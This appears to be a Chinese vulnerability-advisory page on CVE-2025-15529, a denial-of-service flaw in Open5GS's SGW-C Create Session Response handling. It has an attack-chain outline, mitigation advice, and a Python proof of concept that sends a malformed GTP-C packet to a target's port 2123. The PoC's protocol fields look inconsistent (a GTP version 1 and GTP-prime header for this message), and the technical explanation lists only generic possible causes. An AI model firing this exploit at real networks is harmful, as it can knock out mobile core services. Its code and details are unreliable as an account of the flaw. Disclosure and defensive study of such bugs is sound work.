IPBUF安全漏洞报告
English
CVE-2025-15529 CVSS 5.3 中危

CVE-2025-15529 Open5GS sgwc_s5c_handle_create_session_response拒绝服务漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-15529
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GS5G核心网GTP-CS5C接口SGW-CCVE-2025-15529网络协议漏洞信令风暴

漏洞概述

Open5GS是一个开源的5G核心网络(5GC)实现软件。该漏洞存在于Open5GS的SGW-C(Serving Gateway Control)组件中,具体位于src/sgwc/s5c-handler.c文件的sgwc_s5c_handle_create_session_response函数。攻击者可以通过构造恶意的S5C(SAE Gateway Control)创建会话响应(Create Session Response)消息来触发该漏洞,导致服务崩溃或中断。由于该漏洞可远程利用且无需认证,对暴露在网络中的Open5GS实例构成严重威胁。漏洞影响Open5GS 2.7.6及之前版本,目前漏洞利用代码已公开,强烈建议尽快升级到修复版本或应用官方提供的安全补丁。

技术细节

Open5GS的S5C接口用于SGW和PGW之间的通信,sgwc_s5c_handle_create_session_response函数负责处理来自PGW的创建会话响应消息。该函数在处理响应时存在缺陷,未能正确验证或处理异常输入。当攻击者发送精心构造的Create Session Response消息时,可能导致以下问题:1) 内存访问越界,触发段错误;2) 空指针解引用,导致进程崩溃;3) 资源泄漏,最终耗尽系统资源。攻击者利用此漏洞可在无需任何认证的情况下,通过发送特制的网络数据包使Open5GS服务不可用。由于该组件通常处理大量5G信令流量,漏洞的成功利用将对5G网络的可用性造成严重影响。

攻击链分析

STEP 1
步骤1
攻击者识别运行Open5GS服务的目标服务器,确认SGW-C组件暴露在网络上(默认端口2123/GTP-C)
STEP 2
步骤2
攻击者构造恶意的GTP-C Create Session Response消息,特意省略或畸形化必需的Information Element字段
STEP 3
步骤3
攻击者通过UDP协议向目标SGW-C组件发送精心构造的恶意数据包
STEP 4
步骤4
sgwc_s5c_handle_create_session_response函数接收到畸形消息后,由于缺乏充分的输入验证,导致内存错误或空指针解引用
STEP 5
步骤5
Open5GS服务进程崩溃或进入不可用状态,造成5G核心网的会话管理功能中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-15529 PoC - Open5GS S5C Create Session Response DoS Reference: https://github.com/open5gs/open5gs/issues/4226 Note: This PoC demonstrates the vulnerability concept. Modify GTP-C messages accordingly. """ import socket import struct import sys def create_gtpc_create_session_response(teid, sequence): """ Create a malicious GTP-C Create Session Response message that triggers the vulnerability in sgwc_s5c_handle_create_session_response """ # GTP-C Header version = 0x01 # GTP version 1 protocol_type = 0x01 # GTP' (1) message_type = 0x36 # Create Session Response length = 0x0000 # Will be set later # Flags flags = (version << 5) | (protocol_type << 4) # Sequence number (3 bytes) seq = struct.pack('!I', sequence)[1:4] # Spare spare = b'\x00\x00\x00' # TEID teid_packed = struct.pack('!I', teid) # Information Elements - Malformed/missing required IEs # Missing or malformed Bearer Context IE can trigger the vulnerability ies = b'\x00' * 10 # Malformed IEs message_body = seq + spare + teid_packed + ies length = len(message_body) # Build header with correct length header = bytes([flags, message_type]) + struct.pack('!H', length) + message_body return header def exploit(target_ip, target_port=2123): """ Send malicious GTP-C Create Session Response to trigger DoS """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) teid = 0x00000001 sequence = 0x000001 payload = create_gtpc_create_session_response(teid, sequence) print(f"[*] Sending malicious Create Session Response to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") try: sock.sendto(payload, (target_ip, target_port)) print("[+] Malicious packet sent successfully") print("[+] Check if Open5GS SGWC service is still responsive") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 2123 exploit(target, port)

影响范围

Open5GS < 2.7.7
Open5GS 2.7.6及之前所有版本

防御指南

临时缓解措施
在正式补丁发布前,可通过以下措施临时缓解风险:1) 使用网络ACL限制对Open5GS GTP-C接口(端口2123)的访问,仅允许授权的PGW和MME/IP-SM-GW设备通信;2) 部署入侵检测系统(IDS)监控异常的GTP-C消息,检测潜在的DoS攻击尝试;3) 启用Open5GS的日志功能并设置异常告警,及时发现服务异常;4) 考虑在SGW-C前部署DDoS防护设备,过滤恶意流量;5) 监控Open5GS进程状态,配置自动重启机制以减少服务中断时间。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表